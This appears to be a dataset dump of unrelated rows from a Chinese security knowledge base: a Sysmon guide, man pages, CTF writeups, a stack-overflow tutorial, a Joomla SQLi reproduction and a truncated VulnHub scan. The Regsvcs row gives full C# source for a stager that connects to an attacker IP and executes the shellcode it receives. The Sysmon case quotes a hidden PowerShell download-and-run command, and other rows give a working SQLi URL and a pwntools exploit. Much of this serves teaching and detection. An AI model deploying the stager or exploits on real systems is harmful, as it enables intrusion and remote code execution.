text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# Sysmon
<p align="center">
<img src="../../../assets/img/logo/sysmon.png" width="50%">
</p>
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**简介**
Sysmon 是微软的一款轻量级的系统监控工具,最开始是由 Sysinternals 开发的,后来 Sysinternals 被微软收购,现在属于 Sysinternals 系列工具。它通过系统服务和驱动程序实现记录进程创建、文件访问以及网络信息的记录,并把相关的信息写入并展示在 windows 的日志事件里。
sysmon 特点是用完整的命令行记录下子进程和父进程的创建行为。
使用 sha1(默认),MD5,SHA256 或 IMPHASH 记录进程镜像文件的 hash 值。可以同时使用多个 hash,包括进程创建过程中的进程 GUID。
每个事件中包含 session 的 GUID。
**下载地址**
- https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
**资源**
- [SwiftOnSecurity/sysmon-config](https://github.com/SwiftOnSecurity/sysmon-config) - Sysmon 配置文件模板,带有默认的高质量事件追踪功能。
**文章 & Reference**
- [Threat Hunting with Sysmon: Word Document with Macro](http://www.syspanda.com/index.php/2017/10/10/threat-hunting-sysmon-word-document-macro/)
- [使用Sysmon和Splunk探测网络环境中横向渗透](https://www.freebuf.com/sectool/125846.html)
- [使用轻量级工具Sysmon监视你的系统](https://www.freebuf.com/sectool/122779.html)
---
## 安装
```
Sysmon.exe -i
```
更新配置文件
```
sysmon.exe -c sysmonconfig-export.xml
```
如果需要卸载
```
sysmon.exe -u
```
选项
```
-c 更新或显示配置
-h 指定hash记录的算法
-i 安装,可用xml文件来更新配置文件
-l 记录加载模块,可指定进程
-m 安装事件清单
-n 记录网络链接
-r 检测证书是否撤销
-u 卸载服务和驱动
```
---
## 查看日志记录
<kbd>Win</kbd>+<kbd>R</kbd> , `eventvwr.msc` , 应用程序和服务日志/Microsof/Windows/Sysmon/Operational
Sysmon 日志默认保存在 `%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx` ,可在事件查看器的日志属性设置保存在远程服务器,或通过其他工具或脚本保存。
---
## DNS记录
DNS 访问记录需要查看事件日志,筛选日志,DNS 查询事件号为 22。利用筛选功能进行过滤。
---
## dump hash
查找日志,`GrantedAccess` 的值为 `0x143A` ,是进行了 dump hash 操作.
---
## 后门 Shell
查找 CreateRemoteThread
---
## 案例
案例来自 <sup>[[Threat Hunting with Sysmon: Word Document with Macro](http://www.syspanda.com/index.php/2017/10/10/threat-hunting-sysmon-word-document-macro/)]</sup>
> PhishedUser点击了Outlook中的一个链接,启动了IE浏览器,并打开了一个叫https://company.life_q…..com的网站。
```
event_data.ParentCommandLine: “C:\Program Files (x86)\Microsoft Office\Office14\OUTLOOK.EXE”
event_data.Image: C:\Program Files\Internet Explorer\iexplore.exe
event_data.CommandLine: “C:\Program Files\Internet Explorer\iexplore.exe” https://Dcompany.life_qliwiwkwstxrkgbbz_bdfnccd&d=DwMF-Q&c=LQ_lgKiodJdZA
event_data.User: PhishedUser
```
> IE浏览器下载了一个名为6E713D2A.doc的文件。请注意:日志有时可能会显示为.tmp文件,这是因为有些事件在日志记录时,还未下载未完成。
```
event_data.Image: C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
event_data.TargetFilename: C:\Users\PhisedUser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\POHSQH12\6E713D2A.doc
```
> 用户打开了6E713D2A.doc文件
```
event_data.Image: C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
event_data.TargetFilename: C:\Users\PhisedUser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\POHSQH12\6E713D2A.doc
```
> 带有宏的Word恶意文档被启动,并运行了一个powershell命令,该命令正在尝试从http://Malicioussite.su/z3FRJz下载一个名为65536.exe的可执行文件。
```
event_data.ParentImage: C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
event_data.ParentCommandLine: “C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE” -Embedding
event_data.Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
event_data.CommandLine: powershell -WindowStyle Hidden $webclient = new-object System.Net.WebClient;$myurls = ‘http://Malicioussite.su/z3FRJz’.Split(‘,’);$path = $env:temp + ‘65536.exe’;foreach($myurl in $myurls){try{$webclient.DownloadFile($myurl.ToString(), $path);Start-Process $path;break;}catch{}}
event_data.User: PhisedUser
```
> Powershell将65536.exe下载到C:\Users\PhisedUser\AppData\Local\Temp
```
event_id: 11
event_data.Image: C:\Windows\SysWOW64\Windows\PowerShell\v1.0\powershell.exe
event_data.TargetFilename: C:\Users\PhisedUser\AppData\Local\Temp\65536.exe
```
|
sec-knowleage
|
.\"
.\" 版权所有(c) 1993 Michael Haardt (michael@moria.de), Fri Apr 2 11:32:09 MET DST 1993
.\"
.\" 这是免费的文档;你可以遵照自由软件基金会出版的GNU通用出版许可版本2或者更高版本的条例来重新发布和/或修改它.
.\"
.\" GNU通用出版许可中涉及到的"目标代码(object code)"和"可执行程序(executables)"可解释为任意文档格式化的输出或者排版系统,包括中间的和已输出的结果.
.\"
.\" 该文档的发布寄望于能够实用,但并不做任何担保;甚至也不提供隐含的商品性的保证或者针对特殊目的的适用性.参见GNU通用版权许可以获知详情.
.\"
.\" 你应该接收到与本文档一同发布的GNU通用版权许可的副本;如果没有,请写信到自由软件基金会(Free Software Foundation), Inc., 59 Temple Place, Suite 330, Boston, MA 02111, USA.
.\"
.\" 于1993年1月25日星期日11:06:22由Rik Faith <faith@cs.unc.edu>修改
.\" 于1996年10月21日星期一17:47:19 EDT由Eric S. Raymond <esr@thyrsus.com>修改
.TH ISSUE 5 "1993年7月24日" "Linux" "Linux Programmer's Manual(Linux程序员手册)"
.SH NAME (名称)
issue \- 登录前的信息和标识文件
.SH DESCRIPTION (描述)
\fB/etc/issue\fP 是一个文本文件,它包含了在登录提示符出现之前显示的信息
或者系统标识.如果
.BR getty (1)
支持的话,它可能包括多个 \fB\@\fIchar\fP 和 \fB\e\fP\fIchar\fP 序列.
.SH FILES (相关文件)
/etc/issue
.SH "SEE ALSO"(另见)
.BR getty (1),
.BR motd (5)
.SH "[中文版维护人]"
.B riser <boomer@ccidnet.com>
.SH "[中文版最新更新]"
.BR 2001/07/19
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
---
title: Terraform 代码安全性检查
---
<center><h1>Terraform 代码安全性检查</h1></center>
---
如果想知道自己写的 Terraform 项目代码有没有什么安全风险,那么可以使用 tfsec 这个工具,tfsec 项目地址:https://github.com/aquasecurity/tfsec
Mac 可以直接使用 brew 安装
```bash
brew install tfsec
```
或者使用 go install 安装
```bash
go install github.com/aquasecurity/tfsec/cmd/tfsec@latest
```
使用也非常简单,直接来到 Terraform 项目目录下,使用 tfsec . 命令即可
```bash
tfsec .
```
<img width="900" src="/img/1650012117.png">
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年4月15日"
}
}
</script>
|
sec-knowleage
|
who
===
显示当前所有登陆用户的信息。
## 概要
```shell
who [OPTION]... [file] [am i]
```
## 主要用途
- 当没有给出非选项参数时,按以下字段顺序为每个当前用户打印信息:登录用户名称,终端信息,登录时间,远程主机或X display。
- 当用户执行 `who am i` 时,只显示运行该命令的用户的信息。
## 选项
```shell
-a, --all 等价于调用 '-b -d --login -p -r -t -T -u'。
-b, --boot 上次系统启动的时间。
-d, --dead 打印 dead 状态的进程。
-H, --heading 打印列标题行。
-l, --login 打印系统登录进程。
--lookup 尝试通过 DNS 规范主机名。
-m 仅显示和标准输入关联的主机名和用户。
-p, --process 打印由 init 生成的活动进程。
-q, --count 列出所有已登录的用户的名称和数量。
-r, --runlevel 打印当前运行级别。
-s, --short 仅打印名称、行和时间(默认)。
-t, --time 打印上次系统时钟更改。
-T, -w, --mesg, --message, --writable 将 '+、-、?' 中的一个作为用户的消息状态添加到用户名称后面。
-u, --users 列出登录的用户。
--help 显示帮助信息并退出。
--version 显示版本信息并退出。
关于 -T 选项的 '+、-、?':
'+' 允许写入信息
'-' 禁止写入信息
'?' 不能查找到终端设备
```
## 参数
file(可选):指定 `file` 代替默认的 `/var/run/utmp` 、`/etc/utmp` ;通常使用 `/var/log/wtmp` 作为参数用于查看过去登陆系统的用户。
## 返回值
返回0表示成功,返回非0值表示失败。
## 例子
```shell
[root@localhost ~]# who
root pts/0 2013-08-19 15:04 (192.168.0.134)
root pts/1 2013-12-20 10:37 (180.111.155.40)
[root@localhost ~]# who -q
root root
# users=2
[root@localhost ~]# who -H
NAME LINE time COMMENT
root pts/0 2013-08-19 15:04 (192.168.0.134)
root pts/1 2013-12-20 10:37 (180.111.155.40)
[root@localhost ~]# who -w
root + pts/0 2013-08-19 15:04 (192.168.0.134)
root + pts/1 2013-12-20 10:37 (180.111.155.40)
```
### 注意
1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 who`,`info coreutils 'who invocation'`。
|
sec-knowleage
|
### Regsvcs简介:
Regsvcs为.NET服务安装工具,主要提供三类服务:
* 加载并注册程序集。
* 生成、注册类型库并将其安装到指定的 COM+ 1.0 应用程序中。
* 配置以编程方式添加到类的服务。
**说明:**Regsvcs.exe所在路径没有被系统添加PATH环境变量中,因此,Regsvcs命令无法识别。
具体参考微软官方文档:
https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool
基于白名单Regsvcs.exe配置payload:
Windows 7 默认位置:
```bash
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
```
**攻击机:**192.168.1.4 Debian
**靶机:**192.168.1.3 Windows 7
### 配置攻击机msf:

### 靶机执行:
```bash
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe Micropoor.dll
```

### 附录:Micropoor.cs
**注:x86 payload**
```csharp
using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.EnterpriseServices; using System.Windows.Forms;
namespace phwUqeuTRSqn
{
public class mfBxqerbXgh : ServicedComponent {
public mfBxqerbXgh() { Console.WriteLine("Micropoor"); }
[ComRegisterFunction]
public static void RegisterClass ( string DssjWsFMnwwXL )
{
uXsiCEXRzLNkI.BBNSohgZXGCaD();
}
[ComUnregisterFunction]
public static void UnRegisterClass ( string DssjWsFMnwwXL )
{
uXsiCEXRzLNkI.BBNSohgZXGCaD();
}
}
public class uXsiCEXRzLNkI
{ [DllImport("kernel32")] private static extern UInt32 HeapCreate(UInt32 pAyHWx, UInt32 KXNJUcPIUymFNbJ, UInt32 MotkftcMAIJRnW);
[DllImport("kernel32")] private static extern UInt32 HeapAlloc(UInt32 yjmmncJHBrUu, UInt32 MYjktCDxYrlTs, UInt32 zyBAwQVBQbi);
[DllImport("kernel32")] private static extern UInt32 RtlMoveMemory(UInt32 PorEiXBhZkA, byte[] UIkcqF, UInt32 wAXQEPCIVJQQb);
[DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 WNvQyYv, UInt32 vePRog, UInt32 Bwxjth, IntPtr ExkSdsTdwD, UInt32 KfNaMFOJVTSxbrR, ref UInt32 QEuyYka);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr pzymHg, UInt32 lReJrqjtOqvkXk);static byte[] SVMBrK(string MKwSjIxqTxxEO, int jVaXWRxcmw) {
IPEndPoint hqbNYMZQr = new IPEndPoint(IPAddress.Parse(MKwSjIxqTxxEO), jVaXWRxcmw);
Socket LbLgipot = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try { LbLgipot.Connect(hqbNYMZQr); }
catch { return null;}
byte[] VKQsLPgLmVdp = new byte[4];
LbLgipot.Receive(VKQsLPgLmVdp, 4, 0);
int jbQtneZFbvzK = BitConverter.ToInt32(VKQsLPgLmVdp, 0);
byte[] cyDiPLJhiAQbw = new byte[jbQtneZFbvzK + 5];
int vyPloXEDJoylLbj = 0;
while (vyPloXEDJoylLbj < jbQtneZFbvzK)
{ vyPloXEDJoylLbj += LbLgipot.Receive(cyDiPLJhiAQbw, vyPloXEDJoylLbj + 5, (jbQtneZFbvzK ‐ vyPloXEDJoylLbj) < 4096 ? (jbQtneZFbvzK ‐ vyPloXEDJoylLbj) : 4096, 0);}
byte[] MkHUcy = BitConverter.GetBytes((int)LbLgipot.Handle);
Array.Copy(MkHUcy, 0, cyDiPLJhiAQbw, 1, 4); cyDiPLJhiAQbw[0] = 0xBF;
return cyDiPLJhiAQbw;}
static void ZFeAPdN(byte[] hjErkNfmkyBq) {
if (hjErkNfmkyBq != null) {
UInt32 xYfliOUgksPsv = HeapCreate(0x00040000, (UInt32)hjErkNfmkyBq.Length, 0);
UInt32 eSiulXLtqQO = HeapAlloc(xYfliOUgksPsv, 0x00000008, (UInt32)hjErkNfmkyBq.Length);
RtlMoveMemory(eSiulXLtqQO, hjErkNfmkyBq, (UInt32)hjErkNfmkyBq.Length);
UInt32 NByrFgKjVjB = 0;
IntPtr PsIqQCvc = CreateThread(0, 0, eSiulXLtqQO, IntPtr.Zero, 0, ref NByrFgKjVjB);
WaitForSingleObject(PsIqQCvc, 0xFFFFFFFF);}}
public static void BBNSohgZXGCaD() {
byte[] cyDiPLJhiAQbw = null; cyDiPLJhiAQbw = SVMBrK("192.168.1.4", 53);
ZFeAPdN(cyDiPLJhiAQbw);
} } }
```
> Micropoor
|
sec-knowleage
|
#Metadata (fbi, 50 points, solved by 311)
```
Help me to find some metadata!
https://silkroadzpvwzxxv.onion
```
The flag was hidden in the website's certificate:

|
sec-knowleage
|
# T1585-001-创建账户-社交媒体账户
## 来自ATT&CK的描述
攻击者可以创建和培养社交媒体账户,以便在攻击目标时使用。攻击者可以创建社交媒体账户,用来建立一个角色,以进一步开展行动。角色开发包括开发公共信息、存在感、历史和适当的附属关系。
对于包含社会工程的行动来说,在社交媒体上利用一个角色可能很重要。这些角色可能是虚构的,也可能冒充真实的人。角色可以存在于一个社交媒体网站或多个网站上(例如:Facebook、LinkedIn、Twitter等)。在社交媒体上建立一个角色可能需要开发额外的文件,以使他们看起来真实。这可能包括填写个人资料信息,发展社交网络,或加入照片。
一旦建立了一个角色,攻击者就可以利用它与感兴趣的目标建立联系。这些连接可能是直接的,也可能包括试图通过他人进行连接。这些账户可能会在攻击生命周期的其他阶段被利用,例如在初始访问期间(例如:通过服务进行鱼叉式钓鱼)。
## 测试案例
无
## 检测日志
无法有效监测
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
### 缓解措施
这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。
### 检测
考虑监测与你的组织有关的社交媒体活动。可疑的活动可能包括声称为您的组织工作的角色,或最近修改过的账户向与您的组织相关的账户提出大量连接请求。
检测工作可以集中在攻击生命周期的相关阶段,例如在初始访问期间(例如:通过服务进行鱼叉式钓鱼)。
## 相关TIP
[[T1585-002-创建账户-电子邮箱账户]]
## 参考推荐
MITRE-ATT&CK-T1585-001
<https://attack.mitre.org/techniques/T1585/001/>
|
sec-knowleage
|
package train.rmi.remote.impl;
import train.rmi.remote.IRemoteHello;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
/**
* @author wh1t3P1g
* @since 2020/1/9
*/
public class RemoteHello extends UnicastRemoteObject implements IRemoteHello {
public RemoteHello() throws RemoteException {
super();
}
@Override
public String sayHello() throws RemoteException {
return "hello from RMI Server";
}
}
|
sec-knowleage
|
### HTTP相关介绍
`HTTP` ( `Hyper Text Transfer Protocol` ,也称为超文本传输协议)是一种用于分布式、协作式和超媒体信息系统的应用层协议。 `HTTP` 是万维网的数据通信的基础。
### HTTP相关例题
> 题目:江苏省领航杯-2017:hack
总体观察可以得出:
- `HTTP`为主
- `192.168.173.134`为主
- 不存在附件
从这张图,基本可以判断初这是一个在`sql注入-盲注时产生的流量包`
到此为止,基本可以判断flag的方向,提取出所有的url后,用`python`辅助即可得到flag
- 提取url: `tshark -r hack.pcap -T fields -e http.request.full_uri|tr -s '\n'|grep flag > log`
- 得到盲注结果
```python
import re
with open('log') as f:
tmp = f.read()
flag = ''
data = re.findall(r'=(\d*)%23',tmp)
data = [int(i) for i in data]
for i,num in enumerate(data):
try:
if num > data[i+1]:
flag += chr(num)
except Exception:
pass
print flag
```
|
sec-knowleage
|
# Joomla 3.7.0 com_fields SQL Injection Vulnerability (CVE-2017-8917)
[中文版本(Chinese version)](README.zh-cn.md)
Joomla is a free and open-source content management system (CMS) that allows users to build websites and online applications. It was first released in 2005 and has since become one of the most popular CMS platforms, powering millions of websites around the world.
An SQL injection vulnerability is caused by a new component, com_fields, which was introduced in version 3.7.
References:
- <https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html>
- <https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html>
## Vulnerable environment
Executing following command to start a Joomla 3.4.5:
```
docker compose up -d
```
After the server is started, you can see the home page of it at `http://your-ip:8080`.
## Exploit
Visit following link directly to reproduce the SQL injection attack:
```
http://your-ip:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
```

|
sec-knowleage
|
# The Great Journey
Category: OSINT
## Description
>
> We need to find somebody, a friend, a wizard (as surprising as it is, his name is not Merlin).
>
> The wizard likes the life of solitude. You wouldn't find anything about his great deeds on papers. He likes to do his work in the shadows. This what makes him the best for our work.
>
> The last thing we know is that he went out on a journey of photography, never to be heard of again... Times are dire, we need him back ASAP before it will be too late, please find him!
>
> We heard that there is one person in Discord that knows where to find him. His name is old man Jankins, he usually resides in his lounge. Make sure to ping him there. https://discord.gg/VsGVvVFBHH
>
> If all hope seems lost, try to scout even the social medias. See what you can gather of him.
>
> To submit this flag please write the flag as following cstechnion{<country>_<name of place>} replace all spaces with underscore and remove < > The flag is case insensitive.
>
> Small note: please make sure that in Discord everyone is able to send you DMs (through settings).
>
> **Also, we're looking for a very specific location, narrow it down.**
## Solution
We start our journey by pinging Old Man Jankins on the Discord server. Seconds later, we get a private DM from him:

[Wikipedia](https://en.wikipedia.org/wiki/Infinity_Gems) claims that the answer is "Ego", and we proceed to the next riddle:

According to [Tolkien Gateway](http://tolkiengateway.net/wiki/Doors_of_Durin) the answer is "Mellon".

According to [Riddles.com](https://www.riddles.com/206) the answer is "A computer keyboard".

The numbers (`7777 222 666 8 555 2 66 3 7777 66 33 444 4 44 22 666 88 777`) are obviously decoded using a [Telephone keypad](https://en.wikipedia.org/wiki/Telephone_keypad). We can use the following short script to decode the message:
```python
keypad = {
"2": "abc",
"3": "def",
"4": "ghi",
"5": "jkl",
"6": "mno",
"7": "pqrs",
"8": "tuv",
"9": "wzyz"
}
input = "7777 222 666 8 555 2 66 3 7777 66 33 444 4 44 22 666 88 777"
for chunk in input.split(" "):
print(keypad[chunk[0]][len(chunk) - 1], end="")
print("")
```
Output:
```console
root@kali:/media/sf_CTFs/technion/The_Great_Journey# python3 keypad.py
scotlandsneighbour
```
"gram...? gram...witter?" must be a reference to Instagram and Twitter. So let's search for Instagram and Twitter users called "scotlandsneighbour".
Twitter has no such username, but Instagram has a promising match:

We can see a wizard in the profile picture, and a QR code in one of the images.
Let's extract the QR and decode it:
```console
root@kali:/media/sf_CTFs/technion/The_Great_Journey# zbarimg qr.png
QR-Code:https://qrgo.page.link/KRHsk
scanned 1 barcode symbols from 1 images in 0.01 seconds
```
The link takes us to a Dropbox containing a zip file called "The big secret". However, all it contains is a video greeting us with "Congratulations, you've been distracted". Back to the Instagram account, then.
Browsing through the images, one of them is captioned as "My final destination":

Using Google's reverse image search, this place is identified as the "Cliffs of Moher" in Ireland. The tower we see is called "O'Brien's_Tower".
The flag: `cstechnion{Ireland_O'Brien's_Tower}`.
|
sec-knowleage
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.shiro.samples;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.subject.PrincipalCollection;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.util.CollectionUtils;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletRequest;
import java.util.Collection;
import java.util.Map;
@Controller
public class HelloController {
@SuppressWarnings("Duplicates")
@RequestMapping("/")
public String home(HttpServletRequest request, Model model) {
String name = "World";
Subject subject = SecurityUtils.getSubject();
PrincipalCollection principalCollection = subject.getPrincipals();
if (principalCollection != null && !principalCollection.isEmpty()) {
Collection<Map> principalMaps = subject.getPrincipals().byType(Map.class);
if (CollectionUtils.isEmpty(principalMaps)) {
name = subject.getPrincipal().toString();
}
else {
name = (String) principalMaps.iterator().next().get("username");
}
}
model.addAttribute("name", name);
return "hello";
}
}
|
sec-knowleage
|
# Writeup Trend Micro CTF 2016 Finals
Team: msm, shalom, rev, c7f.m0d3
### Disclaimer
Since it is always hard to find info on on-site competitions, I will provide a short recap of the Trend Micro Finals 2016.
* The competition lasted 2 days, about 8h each day.
* There were two types of tasks available - king-of-the-hill attack defence and jeopardy.
* Jeopardy had diminishing returns - first team got 1000p, next one 900p and so on. Jeopardy tasks were available only for the day they were released, so no chance on working through the night on those.
* Attack-defense were king-of-the-hill style, so there was a single game server and everyone was pwning it, trying to get control and protect from the others. There were pwn and web servers to work with.
### Table of contents
* [J1 (forensics)](j1)
|
sec-knowleage
|
rpm2cpio
===
将RPM软件包转换为cpio格式的文件
## 补充说明
**rpm2cpio命令** 用于将rpm软件包转换为cpio格式的文件。
### 语法
```shell
rpm2cpio(参数)
```
### 参数
文件:指定要转换的rpm包的文件名。
### 实例
```shell
rpm2cpio ../libstdc++-4.3.0-8.i386.rpm | cpio -idv
```
|
sec-knowleage
|
# 栈溢出原理
## 介绍
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是
- 程序必须向栈上写入数据。
- 写入的数据大小没有被良好地控制。
## 基本示例
最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,**当然需要确保这个地址所在的段具有可执行权限**。下面,我们举一个简单的例子:
```C
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
```
这个程序的主要目的读取一个字符串,并将其输出。**我们希望可以控制程序执行 success 函数。**
我们利用如下命令对其进行编译
```shell
➜ stack-example gcc -m32 -fno-stack-protector stack_example.c -o stack_example
stack_example.c: In function ‘vulnerable’:
stack_example.c:6:3: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration]
gets(s);
^
/tmp/ccPU8rRA.o:在函数‘vulnerable’中:
stack_example.c:(.text+0x27): 警告: the `gets' function is dangerous and should not be used.
```
可以看出 gets 本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出,
> 历史上,**莫里斯蠕虫**第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。
gcc 编译指令中,`-m32` 指的是生成 32 位程序; `-fno-stack-protector` 指的是不开启堆栈溢出保护,即不生成 canary。
此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令`gcc -v`查看gcc 默认的开关情况。如果含有`--enable-default-pie`参数则代表 PIE 默认已开启,需要在编译指令中添加参数`-no-pie`。
编译成功后,可以使用 checksec 工具检查编译出的文件:
```
➜ stack-example checksec stack_example
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```
提到编译时的 PIE 保护,Linux平台下还有地址空间分布随机化(ASLR)的机制。简单来说即使可执行文件开启了 PIE 保护,还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同)。我们可以通过修改 `/proc/sys/kernel/randomize_va_space` 来控制 ASLR 启动与否,具体的选项有
- 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
- 1,普通的 ASLR。栈基地址、mmap基地址、.so加载基地址都将被随机化,但是堆基地址没有随机化。
- 2,增强的ASLR,在 1 的基础上,增加了堆基地址随机化。
我们可以使用`echo 0 > /proc/sys/kernel/randomize_va_space`关闭 Linux 系统的 ASLR,类似的,也可以配置相应的参数。
为了降低后续漏洞利用复杂度,我们这里关闭 ASLR,在编译时关闭 PIE。当然读者也可以尝试 ASLR、PIE 开关的不同组合,配合 IDA 及其动态调试功能观察程序地址变化情况(在 ASLR 关闭、PIE 开启时也可以攻击成功)。
确认栈溢出和 PIE 保护关闭后,我们利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。可以看到
```C
int vulnerable()
{
char s; // [sp+4h] [bp-14h]@1
gets(&s);
return puts(&s);
}
```
该字符串距离 ebp 的长度为 0x14,那么相应的栈结构为
```text
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+
```
并且,我们可以通过 IDA 获得 success 的地址,其地址为 0x0804843B。
```asm
.text:0804843B success proc near
.text:0804843B push ebp
.text:0804843C mov ebp, esp
.text:0804843E sub esp, 8
.text:08048441 sub esp, 0Ch
.text:08048444 push offset s ; "You Hava already controlled it."
.text:08048449 call _puts
.text:0804844E add esp, 10h
.text:08048451 nop
.text:08048452 leave
.text:08048453 retn
.text:08048453 success endp
```
那么如果我们读取的字符串为
```
0x14*'a'+'bbbb'+success_addr
```
那么,由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为
```text
+-----------------+
| 0x0804843B |
+-----------------+
| bbbb |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+
```
但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即0x0804843B 在内存中的形式是
```text
\x3b\x84\x04\x08
```
但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候\,x等也算一个单独的字符。。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用一波 pwntools 了(关于如何安装以及基本用法,请自行 github),这里利用 pwntools 的代码如下:
```python
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()
```
执行一波代码,可以得到
```shell
➜ stack-example python exp.py
[+] Starting local process './stack_example': pid 61936
;\x84\x0
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbb;\x84\x0
You Hava already controlled it.
[*] Got EOF while reading in interactive
$
[*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 61936)
[*] Got EOF while sending in interactive
```
可以看到我们确实已经执行 success 函数。
## 小总结
上面的示例其实也展示了栈溢出中比较重要的几个步骤。
### 寻找危险函数
通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下
- 输入
- gets,直接读取一行,忽略'\x00'
- scanf
- vscanf
- 输出
- sprintf
- 字符串
- strcpy,字符串复制,遇到'\x00'停止
- strcat,字符串拼接,遇到'\x00'停止
- bcopy
### 确定填充长度
这一部分主要是计算**我们所要操作的地址与我们所要覆盖的地址的距离**。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移。一般变量会有以下几种索引模式
- 相对于栈基地址的的索引,可以直接通过查看EBP相对偏移获得
- 相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。
- 直接地址索引,就相当于直接给定了地址。
一般来说,我们会有如下的覆盖需求
- **覆盖函数返回地址**,这时候就是直接看 EBP 即可。
- **覆盖栈上某个变量的内容**,这时候就需要更加精细的计算了。
- **覆盖 bss 段某个变量的内容**。
- 根据现实执行情况,覆盖特定的变量或地址的内容。
之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来**直接或者间接地控制程序执行流程**。
## 参考阅读
[stack buffer overflow](https://en.wikipedia.org/wiki/Stack_buffer_overflow)
http://bobao.360.cn/learning/detail/3694.html
https://www.cnblogs.com/rec0rd/p/7646857.html
|
sec-knowleage
|
# FunboxRookie
> https://download.vulnhub.com/funbox/Funbox2.ova
靶场IP:`192.168.2.14`
扫描对外端口服务
```
┌──(root㉿kali)-[~/Desktop]
└─# nmap -p1-65535 -sV 192.168.2.14
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 08:59 EDT
Nmap scan report for 192.168.2.14
Host is up (0.00021s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5e
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
